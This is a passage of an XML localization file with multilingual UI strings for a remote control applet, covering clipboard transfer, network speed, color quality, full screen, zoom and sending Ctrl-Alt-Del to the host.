<pt-br>Transferir área de transferência</pt-br>
<nl>Klembord overdragen</nl>
</msg>
<msg name="TRANSFERCLIPBOARD.TOOLTIP.BODY">
<en>Copy text-based clipboard content between host and client.</en>
<es>Copiar contenido del portapapeles basado en texto entre el host y el cliente.</es>
<de>Kopiert und überträgt den Text aus der Zwischenablage zwischen Host und Client.</de>
<fr>Copiez du texte dans le Presse-papiers entre l'hôte et le client.</fr>
<it>Copia il contenuto di testo degli Appunti tra host e client.</it>
<ru>Копирование текстового содержимого буфера обмена между хостом и клиентом.</ru>
<ja>ホストとクライアント間で、クリップボードを介してテキストをコピーします。</ja>
<zh>在主机和客户端之间复制基于文本的剪贴板内容。</zh>
<ko>호스트와 클라이언트 간에 클립보드의 텍스트 기반 컨텐츠를 복사합니다.</ko>
<en-gb>Copy text-based clipboard content between host and client.</en-gb>
<hu>A vágólap szövegalapú tartalmának másolása gazdagép és kliensgép között.</hu>
<pt-br>Copie o conteúdo baseado em texto da área transferência do host e do cliente.</pt-br>
<nl>Kopieer tekstuele klembordinhoud tussen host en client.</nl>
</msg>
<msg name="TRANSFERCLIPBOARD.SEND">
<en>Client to Host</en>
<es>De cliente a host</es>
<de>Client an Host</de>
<fr>Client vers hôte</fr>
<it>Da client a host</it>
<ru>С клиента на хост</ru>
<ja>クライアントからホストへ</ja>
<zh>客户端至主机</zh>
<ko>클라이언트 -&gt; 호스트</ko>
<en-gb>Client to Host</en-gb>
<hu>Kliensgépről gazdagépre</hu>
<pt-br>Cliente para Host</pt-br>
<nl>Client naar Host</nl>
</msg>
<msg name="TRANSFERCLIPBOARD.RECEIVE">
<en>Host to Client</en>
<es>De host a cliente</es>
<de>Host an Client</de>
<fr>Hôte vers client</fr>
<it>Da host a client</it>
<ru>С хоста на клиент</ru>
<ja>ホストからクライアントへ</ja>
<zh>主机至客户端</zh>
<ko>호스트 -&gt; 클라이언트</ko>
<en-gb>Host to Client</en-gb>
<hu>Gazdagépről kliensgépre</hu>
<pt-br>Host para Cliente</pt-br>
<nl>Host naar Client</nl>
</msg>
</cat>
<!-- REMCTRL.UI remote control applet user interface components -->
<cat name="UI">
<msg name="MENU">
<en>Menu</en>
<de>Menü</de>
<es>Menú</es>
<fr>Menu</fr>
<it>Menu</it>
<ru>Меню</ru>
<ja>メニュー</ja>
<zh>菜单</zh>
<ko>메뉴</ko>
<en-gb>Menu</en-gb>
<hu>Menü</hu>
<pt-br>Menu</pt-br>
<nl>Menu</nl>
</msg>
<msg name="CONNSPEED">
<en>Network:</en>
<de>Netzwerk:</de>
<es>Red:</es>
<fr>Réseau:</fr>
<it>Rete:</it>
<ru>Сеть:</ru>
<ja>ネットワーク :</ja>
<zh>网络:</zh>
<ko>네트워크:</ko>
<en-gb>Network:</en-gb>
<hu>Hálózat:</hu>
<pt-br>Rede:</pt-br>
<nl>Netwerk:</nl>
</msg>
<msg name="CONNSPEEDDIALUP">
<en>Modem (56 Kbps)</en>
<de>Modem (56Kbps)</de>
<es>Módem (56 Kbps)</es>
<fr>Modem (56 Kbps)</fr>
<it>Modem (56 Kbps)</it>
<ru>Модем (56 Кбит/с)</ru>
<ja>モデム (56 Kbps)</ja>
<zh>调制解调器 (56 Kbps)</zh>
<ko>모뎀(56Kbps)</ko>
<en-gb>Modem (56 Kbps)</en-gb>
<hu>Modem (56 Kbps)</hu>
<pt-br>Modem (56 Kbps)</pt-br>
<nl>Modem (56 Kbps)</nl>
</msg>
<msg name="CONNSPEEDBROADBAND">
<en>DSL (384 Kbps)</en>
<de>DSL (384 Kbps)</de>
<es>ADSL(384 Kbps)</es>
<fr>DSL (384 Kbps)</fr>
<it>DSL (384 Kbps)</it>
<ru>DSL (384 Кбит/с)</ru>
<ja>DSL (384 Kbps)</ja>
<zh>DSL (384 Kbps)</zh>
<ko>DSL(384Kbps)</ko>
<en-gb>DSL (384 Kbps)</en-gb>
<hu>DSL (384 Kbps)</hu>
<pt-br>DSL (384 Kbps)</pt-br>
<nl>DSL (384 Kbps)</nl>
</msg>
<msg name="CONNSPEEDWAN">
<en>WAN (2 Mbps)</en>
<de>WAN (2 Mbps)</de>
<es>WAN(2 Kbps)</es>
<fr>WAN (2 Mbps)</fr>
<it>WAN (2 Mbps)</it>
<ru>WAN (2 Мбит/с)</ru>
<ja>WAN (2 Mbps)</ja>
<zh>WAN (2 Mbps)</zh>
<ko>WAN(2Mbps)</ko>
<en-gb>WAN (2 Mbps)</en-gb>
<hu>WAN (2 Mbps)</hu>
<pt-br>WAN (2 Mbps)</pt-br>
<nl>WAN (2 Mbps)</nl>
</msg>
<msg name="CONNSPEEDLAN">
<en>LAN (10 Mbps)</en>
<de>LAN (10 Mbps)</de>
<es>LAN(10 Kbps)</es>
<fr>LAN (10 Mbps)</fr>
<it>LAN (10 Mbps)</it>
<ru>LAN (10 Мбит/с)</ru>
<ja>LAN (10 Mbps)</ja>
<zh>LAN (10 Mbps)</zh>
<ko>LAN(10Mbps)</ko>
<en-gb>LAN (10 Mbps)</en-gb>
<hu>LAN (10 Mbps)</hu>
<pt-br>LAN (10 Mbps)</pt-br>
<nl>LAN (10 Mbps)</nl>
</msg>
<msg name="CONNSPEEDAUTO">
<en>Auto</en>
<de>Auto</de>
<es>Auto</es>
<fr>Auto</fr>
<it>Automatica</it>
<ru>Авто</ru>
<ja>自動</ja>
<zh>自动</zh>
<ko>자동</ko>
<en-gb>Auto</en-gb>
<hu>Automatikus</hu>
<pt-br>Automático</pt-br>
<nl>Automatisch</nl>
</msg>
<msg name="QUALITY">
<en>Color Quality</en>
<es>Calidad de color</es>
<fr>Qualité d'affichage</fr>
<de>Farbqualität</de>
<it>Qualità del colore</it>
<ru>Качество цветопередачи</ru>
<ja>色の品質</ja>
<zh>色质</zh>
<ko>색 품질</ko>
<en-gb>Colour Quality</en-gb>
<hu>Színminőség</hu>
<pt-br>Qualidade de cor</pt-br>
<nl>Kleurenkwaliteit</nl>
</msg>
<msg name="QUALITYDIALUP">
<en>Very low (black and white for dial-up connections)</en>
<es>Muy baja (blanco y negro para conexiones de marcado)</es>
<de>Sehr niedrig (Schwarzweiß für DFÜ-Verbindungen)</de>
<fr>Très faible (noir et blanc pour les connexions par ligne commutée)</fr>
<it>Molto bassa (bianco e nero per connessioni remote)</it>
<ru>Очень низкое (черно-белая для соединений по телефонным линиям)</ru>
<ja>最低 (ダイアルアップ接続の場合は白黒)</ja>
<zh>非常低(拨号连接时显示黑白色)</zh>
<ko>매우 낮음(전화 접속 연결에 대해 검은색 및 흰색으로 표시)</ko>
<en-gb>Very low (black and white for dial-up connections)</en-gb>
<hu>Nagyon alacsony (fekete-fehér a betárcsázós kapcsolathoz)</hu>
<pt-br>Muito baixo (preto e branco para conexões dial-up)</pt-br>
<nl>Zeer laag (zwart-wit voor inbelverbindingen)</nl>
</msg>
<msg name="QUALITYLOW">
<en>Low (faster response time)</en>
<es>Baja (menor tiempo de respuesta)</es>
<fr>Bas (temps de réponse plus rapide)</fr>
<de>Niedrig (schnellere Antwortzeit)</de>
<it>Bassa (tempo di risposta più rapido)</it>
<ru>Низкое (время отклика меньше)</ru>
<ja>低 (速い応答時間)</ja>
<zh>低(更快的响应时间)</zh>
<ko>낮음(더 빠른 응답 시간)</ko>
<en-gb>Low (faster response time)</en-gb>
<hu>Alacsony (gyorsabb válaszidő)</hu>
<pt-br>Baixo (tempo de resposta mais rápido)</pt-br>
<nl>Laag (snellere reactietijd)</nl>
</msg>
<msg name="QUALITYMEDIUM">
<en>Medium</en>
<de>Mittel</de>
<fr>Moyenne</fr>
<es>Media</es>
<it>Media</it>
<ru>Среднее</ru>
<ja>中</ja>
<zh>中</zh>
<ko>중간</ko>
<en-gb>Medium</en-gb>
<hu>Közepes</hu>
<pt-br>Médio</pt-br>
<nl>Normaal</nl>
</msg>
<msg name="QUALITYHIGH">
<en>High (perfect color reproduction)</en>
<de>Hoch</de>
<es>Alta (reproducción perfecta del color)</es>
<fr>Haut (temps de réponse plus lent)</fr>
<it>Alta (perfetta riproduzione del colore)</it>
<ru>Высокое (превосходное воспроизведение цвета)</ru>
<ja>高 (完全な色再現)</ja>
<zh>高(再现完美颜色)</zh>
<ko>높음(완벽한 색 복제)</ko>
<en-gb>High (perfect colour reproduction)</en-gb>
<hu>Magas (tökéletes színvisszaadás)</hu>
<pt-br>Alto (reprodução de cor perfeita)</pt-br>
<nl>Hoog (perfecte kleurenreproductie)</nl>
</msg>
<msg name="QUALITYTIP">
<en>Adjust Display Quality</en>
<es>Ajustar calidad de visualización</es>
<fr>Optimise la qualité d'affichage</fr>
<de>Anzeigequalität anpassen</de>
<it>Regola qualità display</it>
<ru>Настроить качество дисплея</ru>
<ja>ディスプレイ品質を調節</ja>
<zh>调整显示质量</zh>
<ko>디스플레이 품질 조정</ko>
<en-gb>Adjust Display Quality</en-gb>
<hu>Megjelenítés minőségének beállítása</hu>
<pt-br>Ajustar qualidade de exibição</pt-br>
<nl>Kleurenweergave aanpassen</nl>
</msg>
<msg name="DRAWMODEON">
<en>Whiteboard Mode</en>
<de>Whiteboard-Modus</de>
<es>Modo Pizarra</es>
<fr>Mode Tableau blanc</fr>
<it>Modalità lavagna</it>
<ru>Режим доски объявлений</ru>
<ja>ホワイトボード モード</ja>
<zh>白板模式</zh>
<ko>화이트보드 모드</ko>
<en-gb>Whiteboard Mode</en-gb>
<hu>Rajztábla üzemmód</hu>
<pt-br>Modo de quadro branco</pt-br>
<nl>Whiteboard-modus</nl>
</msg>
<msg name="LASERPOINTER">
<en>Laser Pointer Mode</en>
<de>Laserpointer-Modus</de>
<es>Modo puntero láser</es>
<fr>Mode Pointeur laser</fr>
<it>Modalità puntatore laser</it>
<ru>Режим лазерной указки</ru>
<ja>レーザーポイント モード</ja>
<ko>레이저 포인터 모드</ko>
<zh>激光指示器模式</zh>
<hu>Lézermutató üzemmód</hu>
<pt-br>Modo de Laser Pointer</pt-br>
<nl>Laseraanwijzermodus</nl>
</msg>
<msg name="DRAWMODECLS">
<en>Erase Drawings</en>
<de>Zeichnung loeschen</de>
<es>Eliminar dibujos</es>
<fr>Effacer les dessins</fr>
<it>Cancella disegni</it>
<ru>Стереть рисунки</ru>
<ja>描画を消去</ja>
<zh>清除图画</zh>
<ko>그림 지우기</ko>
<en-gb>Erase Drawings</en-gb>
<hu>Rajzok törlése</hu>
<pt-br>Apagar desenhos</pt-br>
<nl>Tekeningen wissen</nl>
</msg>
<msg name="CLIPFROMHOSTTOLOCAL">
<en>Host to Local</en>
<de>Host to Local</de>
<es>Host a Local</es>
<fr>Hôte distant à Local</fr>
<it>Da host a locale</it>
<ru>От хост-компьютера к локальному</ru>
<ja>ローカルにホストを</ja>
<zh>主机至本地</zh>
<ko>호스트 대 로컬</ko>
<en-gb>Host to Local</en-gb>
<hu>Gazdagép a helyihez</hu>
<pt-br>Host para local</pt-br>
<nl>Hostcomputer naar lokale computer</nl>
</msg>
<msg name="CLIPFROMLOCALTOHOST">
<en>Local to Host</en>
<de>Local to Host</de>
<es>Local a Host</es>
<fr>Local à Hôte distant</fr>
<it>Da locale a host</it>
<ru>От локального к хост-компьютеру</ru>
<ja>ホストにローカルを</ja>
<zh>本地至主机</zh>
<ko>로컬 대 호스트</ko>
<en-gb>Local to Host</en-gb>
<hu>Helyi a gazdagéphez</hu>
<pt-br>Local para host</pt-br>
<nl>Lokale computer naar hostcomputer</nl>
</msg>
<msg name="DETACH">
<en>Full Screen</en>
<de>Vollbild</de>
<es>Pantalla completa</es>
<fr>Plein écran</fr>
<it>Schermo intero</it>
<ru>Во весь экран</ru>
<ja>全画面</ja>
<zh>全屏</zh>
<ko>전체 화면</ko>
<en-gb>Full Screen</en-gb>
<hu>Teljes képernyő</hu>
<pt-br>Tela inteira</pt-br>
<nl>Volledig scherm</nl>
</msg>
<msg name="DETACHED">
<en>Remote Control is open in a separate window. Click anywhere in this
area to put it back here.</en>
<de>Die Fernsteuerungssitzung wurde in einem getrennten Fenster eröffnet.
Klicken Sie auf irgendeine Stelle dieser Fläche um die Kontrolle der
Sitzung in dieses Fenster zurückzuholen.</de>
<es>El Control Remoto está abierto en otra ventana. Haga clic en cualquier lugar
de esta área para volver a colocarlo aquí.</es>
<fr>Le contrôle d'accès réseau à distance est ouvert dans une fenêtre séparée. Cliquez n'importe où dans cette 				zone pour la faire retournée à cete position.</fr>
<it>Controllo remoto è stato aperto in una finestra distinta. Fare clic su un punto qualsiasi dell'area per riportarlo nella finestra corrente.</it>
<ru>Сеанс удаленного управления открыт в отдельном окне. Щелкните в любом месте данной области, чтобы вернуть его обратно.</ru>
<ja>リモート制御は、別のウィンドウで開かれています。この領域の任意の場所をクリックして、ここに戻してください。</ja>
<zh>在单独窗口中打开“远程控制”功能。单击此区域内的任何位置以将其放回此处。</zh>
<ko>원격 제어가 다른 창에서 열렸습니다. 여기에 다시 놓으려면 이 영역에서 원하는 위치를 클릭하십시오.</ko>
<en-gb>Remote Control is open in a separate window. Click anywhere in this area to put it back here.</en-gb>
<hu>A Távvezérlés külön ablakban nyílik meg. Kattintson bárhová ebben
a területben, hogy visszahelyezze ide.</hu>
<pt-br>O Remote control está aberto em uma janela separada. Clique em qualquer local 
desta área para colocá-lo de volta aqui.</pt-br>
<nl>Besturing op afstand is geopend in een apart venster. Klik in dit gebied om het hier te plaatsen.</nl>
</msg>
<msg name="REATTACH">
<en>Exit Full Screen</en>
<de>Vollbildmodus verlassen</de>
<es>Salir del modo pantalla completa</es>
<fr>Retour Plein écran</fr>
<it>Esci dalla modalità schermo intero</it>
<ru>Выйти из полноэкранного режима</ru>
<ja>全画面表示を終了</ja>
<zh>退出全屏</zh>
<ko>전체 화면 끝내기</ko>
<en-gb>Exit Full Screen</en-gb>
<hu>Kilépés a teljes képernyőből</hu>
<pt-br>Sair da tela inteira</pt-br>
<nl>Weergave op volledig scherm sluiten</nl>
</msg>
<msg name="ENDREMCTRL">
<en>End Remote Control</en>
<de>Fernsteuerung beenden</de>
<es>Finalizar Control Remoto</es>
<fr>Fin de l'accès contrôle à distance</fr>
<it>Termina Controllo remoto</it>
<ru>Завершить сеанс удаленного управления</ru>
<ja>リモート制御を終了</ja>
<zh>结束远程控制</zh>
<ko>원격 제어 종료</ko>
<en-gb>End Remote Control</en-gb>
<hu>Távvezérlés vége</hu>
<pt-br>Encerrar controle remoto</pt-br>
<nl>Besturing op afstand beëindigen</nl>
</msg>
<msg name="RECONNECT">
<en>Reconnect</en>
<de>Verbindung wieder herstellen</de>
<es>Volver a conectar</es>
<fr>Reconnecte</fr>
<it>Riconnetti</it>
<ru>Переподключиться</ru>
<ja>再接続</ja>
<zh>重新连接</zh>
<ko>다시 연결</ko>
<en-gb>Reconnect</en-gb>
<hu>Újracsatlakozás</hu>
<pt-br>Reconectar</pt-br>
<nl>Opnieuw verbinding maken</nl>
</msg>
<msg name="CLIPBOARDAT">
<en>Clipboard at </en>
<de>Zwischenablage auf</de>
<es>Portapapeles en</es>
<fr>Presse papier de</fr>
<it>Appunti in</it>
<ru>Буфер обмена на</ru>
<ja>クリップボードの場所</ja>
<zh>剪贴板位置</zh>
<ko>클립보드</ko>
<en-gb>Clipboard at</en-gb>
<hu>Vágólap itt:</hu>
<pt-br>Área de transferência em</pt-br>
<nl>Klembord op</nl>
</msg>
<msg name="SEND">
<en>Send</en>
<de>Senden</de>
<es>Enviar</es>
<fr>Envoi</fr>
<it>Invia</it>
<ru>Отправить</ru>
<ja>送信</ja>
<zh>发送</zh>
<ko>보내기</ko>
<en-gb>Send</en-gb>
<hu>Küldés</hu>
<pt-br>Enviar</pt-br>
<nl>Verzenden</nl>
</msg>
<msg name="REFRESH">
<en>Refresh</en>
<de>Aktualisieren</de>
<es>Actualizar</es>
<fr>Actualiser</fr>
<it>Aggiorna</it>
<ru>Обновить</ru>
<ja>更新</ja>
<zh>刷新</zh>
<ko>새로 고침</ko>
<en-gb>Refresh</en-gb>
<hu>Frissít</hu>
<pt-br>Atualizar</pt-br>
<nl>Vernieuwen</nl>
</msg>
<msg name="CLOSE">
<en>Close</en>
<de>Schließen</de>
<es>Cerrar</es>
<fr>Fermer</fr>
<it>Chiudi</it>
<ru>Закрыть</ru>
<ja>閉じる</ja>
<zh>关闭</zh>
<ko>닫기</ko>
<en-gb>Close</en-gb>
<hu>Bezárás</hu>
<pt-br>Fechar</pt-br>
<nl>Sluiten</nl>
</msg>
<msg name="BITS">
<en>bits</en>
<de>bits</de>
<es>bits</es>
<fr>bits</fr>
<it>bit</it>
<ru>бит</ru>
<ja>ビット</ja>
<zh>位</zh>
<ko>비트</ko>
<en-gb>bits</en-gb>
<hu>bit</hu>
<pt-br>bits</pt-br>
<nl>bits</nl>
</msg>
<msg name="PIXELS">
<en>pixels</en>
<de>pixels</de>
<es>píxeles</es>
<fr>pixels</fr>
<it>pixel</it>
<ru>пикселов</ru>
<ja>ピクセル</ja>
<zh>像素</zh>
<ko>픽셀</ko>
<en-gb>pixels</en-gb>
<hu>pixel</hu>
<pt-br>pixels</pt-br>
<nl>pixels</nl>
</msg>
<msg name="ZOOM">
<en>Zoom</en>
<de>Zoom</de>
<es>Zoom</es>
<fr>Zoom</fr>
<it>Zoom</it>
<ru>Масштаб</ru>
<ja>ズーム</ja>
<zh>缩放</zh>
<ko>확대/축소</ko>
<en-gb>Zoom</en-gb>
<hu>Nagyítás/Kicsinyítés</hu>
<pt-br>Zoom</pt-br>
<nl>In- en uitzoomen</nl>
</msg>
<msg name="MONITOR">
<en>Monitor</en>
<de>Monitor</de>
<es>Monitor</es>
<fr>Ecran</fr>
<it>Monitor</it>
<ru>Монитор</ru>
<ja>モニタ</ja>
<zh>显示器</zh>
<ko>모니터</ko>
<en-gb>Monitor</en-gb>
<hu>Monitor</hu>
<pt-br>Monitor</pt-br>
<nl>Beeldscherm</nl>
</msg>
<msg name="MONITOR.DESC">
<en>Check this to keep the host screen updated.</en>
<de>Setzten Sie den Haken, um die Anzeige ständig zu aktualisieren.</de>
<es>Verificar para mantener actualizada la pantalla del host.</es>
<fr>Cochez ici pour maintenir l'écran du serveur à jour.</fr>
<it>Attivare questa opzione per mantenere aggiornato lo schermo dell'host.</it>
<ru>Проверьте это, чтобы поддерживать обновление экрана хост-компьютера.</ru>
<ja>ホスト画面を常に更新された状態にするには、ここを確認します。</ja>
<zh>选中此项以保持主机屏幕更新。</zh>
<ko>호스트 화면을 업데이트 상태로 유지하려면 이것을 선택하십시오.</ko>
<en-gb>Tick this to keep the host screen updated.</en-gb>
<hu>Jelölje be ezt, hogy frissítse a gazdagép képernyőjét.</hu>
<pt-br>Verifique isso para manter a tela do host atualizada.</pt-br>
<nl>Schakel dit selectievakje in als u het beeldscherm op de hostcomputer continu wilt bijwerken.</nl>
</msg>
<msg name="SENDCTRLALTDEL">
<en>Send Ctrl-Alt-Del</en>
<de>Strg-Alt-Entf senden</de>
<es>Enviar Ctrl-Alt-Supr</es>
<fr>Envoi Send Ctrl-Alt-Del (Suppr)</fr>
<it>Invia Ctrl-Alt-Canc</it>
<ru>Отправить Ctrl-Alt-Del</ru>
<ja>Ctrl-Alt-Del を送信</ja>
<zh>发送 Ctrl-Alt-Del</zh>
<ko>Ctrl-Alt-Del 보내기</ko>
<en-gb>Send Ctrl-Alt-Del</en-gb>
<hu>Control-Alt-Del küldése</hu>
<pt-br>Enviar Ctrl-Alt-Del</pt-br>
<nl>Ctrl-Alt-Del verzenden</nl>
</msg>
<msg name="SENDKEYS">
<en>Send Keys</en>
<de>Tastenkombination senden</de>
<es>Enviar teclas</es>
<fr>Envoi des touches</fr>
<it>Invia tasti</it>
<ru>Отправить клавиши</ru>
<ja>キーを送信</ja>
<zh>发送密钥</zh>
<ko>키 보내기</ko>
<en-gb>Send Keys</en-gb>
<hu>Billentyűleütések küldése</hu>
<pt-br>Enviar chaves</pt-br>
<nl>Toetsen verzenden</nl>
</msg>
<msg name="ALLOWESC">
<en>Allow {escape} sequences</en>
<de>{ESCAPE} Sequenzen erlauben</de>
<es>Permitir {escape} secuencias</es>
<fr>Autorise les séquences {escape}</fr>
<it>Consenti sequenze {escape}</it>
<ru>Разрешить {управляющие} последовательности</ru>
<ja>許可 (回避) のシーケンス</ja>
<zh>允许 {换码} 序列</zh>
<ko>{escape} 시퀀스 허용</ko>
<en-gb>Allow {escape} sequences</en-gb>
<hu>{escape} szekvenciák engedélyezése</hu>
<pt-br>Permitir seqüências (escapes)</pt-br>
<nl>{Escape}-toetsen toestaan</nl>
</msg>
<msg name="SENDSPECIAL">
<en>Send Special Keys</en>
<de>Spezielle Tasten senden</de>
<es>Enviar teclas especiales</es>
<fr>Envoi de touches spéciales</fr>
<it>Invia tasti speciali</it>
<ru>Отправить специальные клавиши</ru>
<ja>特別なキーを送信</ja>
<zh>发送特殊密钥</zh>
<ko>특수 키 보내기</ko>
<en-gb>Send Special Keys</en-gb>
<hu>Speciális billentyűleütések küldése</hu>
<pt-br>Enviar chaves especiais</pt-br>
<nl>Speciale toetsen verzenden</nl>
</msg>
<msg name="TRANSFERCLIPBOARD">
<en>Transfer Clipboard</en>
<de>Zwischenablage übertragen</de>
<es>Transferir portapapeles</es>
<fr>Transfert du presse-papier</fr>
<it>Trasferisci Appunti</it>
<ru>Передать содержимое буфера обмена</ru>
<ja>クリップボードを転送</ja>
<zh>传递剪贴板</zh>
<ko>클립보드 전송</ko>
<en-gb>Transfer Clipboard</en-gb>
<hu>Vágólap átvitele</hu>
<pt-br>Transferir área de transferência</pt-br>
<nl>Klembord overdragen</nl>
</msg>
<msg name="CANTTRANSFERCLIPB">
<en>Couldn't transfer clipboard</en>
<de>Die Zwischenablage kann nicht übertragen werden</de>
<es>No se ha podido transferir el portapapeles</es>
<fr>Ne peu pas tranferrer le presse-papier</fr>
<it>Impossibile trasferire gli Appunti</it>
<ru>Не удалось передать содержимое буфера обмена</ru>
<ja>クリップボードを転送できませんでした。</ja>
<zh>无法传递剪贴板</zh>
<ko>클립보드를 전송할 수 없음</ko>
<en-gb>Couldn't transfer clipboard</en-gb>
<hu>Nem lehetett átvinni a vágólapot</hu>
<pt-br>Não foi possível transferir a área de transferência</pt-br>
<nl>Het Klembord kon niet worden overdragen</nl>
</msg>
<msg name="ZOOMIN">
<en>Zoom In</en>
<de>Vergrößern</de>
<es>Acercar</es>
<fr>Zoom avant</fr>
<it>Zoom avanti</it>
<ru>Крупнее</ru>
<ja>ズーム イン</ja>
<zh>放大</zh>
<ko>확대</ko>
<en-gb>Zoom In</en-gb>
<hu>Nagyítás</hu>
<pt-br>Aplicar mais zoom</pt-br>
<nl>Inzoomen</nl>
</msg>
<msg name="ZOOMOUT">
<en>Zoom Out</en>
<de>Verkleinern</de>
<es>Alejar</es>
<fr>Zoom arrière</fr>
<it>Zoom indietro</it>
<ru>Мельче</ru>
<ja>ズーム アウト</ja>
<zh>缩小</zh>
<ko>축소</ko>
<en-gb>Zoom Out</en-gb>
<hu>Kicsinyítés</hu>
<pt-br>Aplicar menos zoom</pt-br>
<nl>Uitzoomen</nl>
</msg>
<msg name="AXRC">
<en>ActiveX based remote control</en>
<de>Fernsteuerung mittels ActiveX</de>
<es>Control remoto basado en ActiveX</es>
<fr>Contrôle à distance basé sur ActiveX</fr>
<it>Controllo remoto basato su ActiveX</it>
<ru>Удаленное управление на основе ActiveX</ru>
<ja>ActiveX ベースのリモート制御</ja>
<zh>基于 ActiveX 的远程控制</zh>
<ko>ActiveX 기반 원격 제어</ko>
<en-gb>ActiveX based remote control</en-gb>
<hu>ActiveX alapú távvezérlés</hu>
<pt-br>Controle remoto baseado em ActiveX</pt-br>
<nl>ActiveX-gebaseerde besturing op afstand</nl>
</msg>
<msg name="JAVARC">
<en>Java based remote control</en>
<de>Fernsteuerung mittels JAVA</de>
<es>Control remoto basado en Java</es>
<fr>Contrôle d'accès distant basé sur Java</fr>
<it>Controllo remoto basato su Java</it>
<ru>Удаленное управление на основе Java</ru>
<ja>Java ベースのリモート制御</ja>
<zh>基于 Java 的远程控制</zh>
<ko>Java 기반 원격 제어</ko>
<en-gb>Java based remote control</en-gb>
<hu>Java alapú távvezérlés</hu>
<pt-br>Controle remoto baseado em Java</pt-br>
<nl>Java-gebaseerde besturing op afstand</nl>
</msg>
<msg name="SHOTRC">
<en>Screenshot based remote control</en>
<de>Screenshot-basierte Fernüberwachung</de>
<es>Control remoto basado capturas de pantalla</es>
<fr>Contrôle d'accès distant basé sur photo d'écran</fr>
<it>Controllo remoto basato su schermate</it>
<ru>Удаленное управление на основе снимков экрана</ru>
<ja>スクリーンショット ベースのリモート制御</ja>
<zh>基于屏幕快照的远程控制</zh>
<ko>스크린샷 기반 원격 제어</ko>
<en-gb>Screenshot based remote control</en-gb>
<hu>Képernyőkép távvezérlés</hu>
<pt-br>Controle remoto baseado em captura de tela</pt-br>
<nl>Besturing op afstand op basis van schermafbeeldingen</nl>
</msg>
<msg name="SHOTTIP">
<en>Click, double click or right click the image</en>
<de>Klicken, doppelklicken oder klicken Sie mit der rechten Maustaste auf das Bild</de>
<es>Haga clic, doble clic o clic con el botón derecho en la imagen</es>
<fr>Cliquez, double cliquez ou Clic de droite sur l'image</fr>
<it>Fare clic, doppio clic o clic con il pulsante destro del mouse sull'immagine</it>
<ru>Щелкните, дважды щелкните или правой кнопкой мыши щелкните данное изображение</ru>
<ja>画像をクリック、ダブルクリック、または右クリックする</ja>
<zh>单击、双击或右击图像</zh>
<ko>이미지 클릭, 두 번 클릭 또는 마우스 오른쪽 버튼 클릭</ko>
<en-gb>Click, double click or right click the image</en-gb>
<hu>Kattintson a képre egyszer, duplán, vagy a jobb egérgombbal</hu>
<pt-br>Clique, clique duas vezes ou clique com o botão direito do mouse na imagem</pt-br>
<nl>Klik, dubbelklik of klik met de rechtermuisknop op de afbeelding</nl>
</msg>
<msg name="ACTUALSIZE">
<en>View host desktop at its actual size</en>
<de>Desktop des Host-Computers in tatsächlicher Größe anzeigen</de>
<es>Ver escritorio del host en su tamaño real</es>
<fr>Visualiser le bureau de l'hôte distant dans sa taille actuelle</fr>
<it>Visualizza desktop dell'host con le dimensioni reali</it>
<ru>Представить рабочий стол хост-компьютера в его действительном размере</ru>
<ja>ホスト デスクトップを原寸大で表示する</ja>
<zh>以实际大小查看主机桌面</zh>
<ko>호스트 데스크톱을 실제 크기로 보기</ko>
<en-gb>View host desktop at its actual size</en-gb>
<hu>Gazdagép asztalának megtekintése teljes méretben</hu>
<pt-br>Exibir área de trabalho do host em tamanho real</pt-br>
<nl>Bureaublad van hostcomputer op ware grootte weergeven</nl>
</msg>
<msg name="FIT">
<en>Fit the host desktop to this screen</en>
<de>Desktop des Host-Computers einpassen</de>
<es>Ajustar el escritorio del host a esta pantalla</es>
<fr>Adapter le bureau de l'hôte distant à cet écran</fr>
<it>Adatta desktop dell'host allo schermo locale</it>
<ru>Настроить рабочий стол хост-компьютера в соответствии с размером данного экрана</ru>
<ja>ホスト デスクトップのサイズをこの画面に合わせて表示する</ja>
<zh>调整主机桌面以适合此屏幕</zh>
<ko>호스트 데스크톱을 이 화면에 맞추기</ko>
<en-gb>Fit the host desktop to this screen</en-gb>
<hu>Illessze a gazdagép asztalt ehhez a képernyőhöz</hu>
<pt-br>Ajustar a área de trabalho do host a esta tela</pt-br>
<nl>Bureaublad van hostcomputer passend maken in dit scherm</nl>
</msg>
<msg brand="LMI" name="FIT">
<en>Fit a larger host desktop to this screen</en>
<de>Desktop des Host-Computers einpassen</de>
<es>Ajustar el escritorio del host a esta pantalla</es>
<fr>Adapter le bureau de l'hôte distant à cet écran</fr>
<it>Adatta desktop dell'host allo schermo locale</it>
<ru>Настроить рабочий стол хост-компьютера в соответствии с размером данного экрана</ru>
<ja>ホスト デスクトップのサイズをこの画面に合わせて表示する</ja>
<zh>调整主机桌面以适合此屏幕</zh>
<ko>호스트 데스크톱을 이 화면에 맞추기</ko>
<en-gb>Fit the host desktop to this screen</en-gb>
<hu>Illessze a gazdagép asztalt ehhez a képernyőhöz</hu>
<pt-br>Ajustar a área de trabalho do host a esta tela</pt-br>
<nl>Bureaublad van hostcomputer passend maken in dit scherm</nl>
</msg>
<msg name="FULL">
<en>Full screen mode</en>
<de>Vollbildmodus</de>
<es>Modo pantalla completa</es>
<fr>Mode plein écran</fr>
<it>Modalità schermo intero</it>
<ru>Полноэкранный режим</ru>
<ja>全画面表示モード</ja>
<zh>全屏模式</zh>
<ko>전체 화면 모드</ko>
<en-gb>Full screen mode</en-gb>
<hu>Teljes képernyős üzemmód</hu>
<pt-br>Modo de tela inteira</pt-br>
<nl>Modus Volledig scherm</nl>
</msg>
<msg name="CAD">
<en>Click to send a Ctrl-Alt-Del key combination to the host</en>
<de>Tastenkombination Strg-Alt-Entf an den Host-Computer senden</de>
<es>Haga clic para enviar una combinación de teclas Ctrl-Alt-Supr al host</es>
<fr>Cliquez pour envoyer  Ctrl-Alt-Del (Suppr) à l'hôte distant</fr>
<it>Fare clic per inviare all'host una combinazione di tasti Ctrl-Alt-Canc</it>
<ru>Щелкните, чтобы отправить на хост-компьютер комбинацию клавиш Ctrl-Alt-Del</ru>
<ja>Ctrl-Alt-Del キーの組み合わせをクリックしてホストに送る</ja>
<zh>单击以向主机发送 Ctrl-Alt-Del 组合键</zh>
<ko>Ctrl-Alt-Del 키 조합을 호스트에 보내려면 클릭하십시오</ko>
<en-gb>Click to send a Ctrl-Alt-Del key combination to the host</en-gb>
<hu>Kattintson ide, hogy a Ctrl-Alt-Del billentyűkombinációt küldje a gazdagépnek</hu>
<pt-br>Clique para enviar uma combinação de teclas Ctrl-Alt-Del ao host</pt-br>
<nl>Klik om de toetsencombinatie Ctrl-Alt-Del naar de hostcomputer te verzenden</nl>
</msg>
<msg name="NET">
<en>Adjust network speed</en>
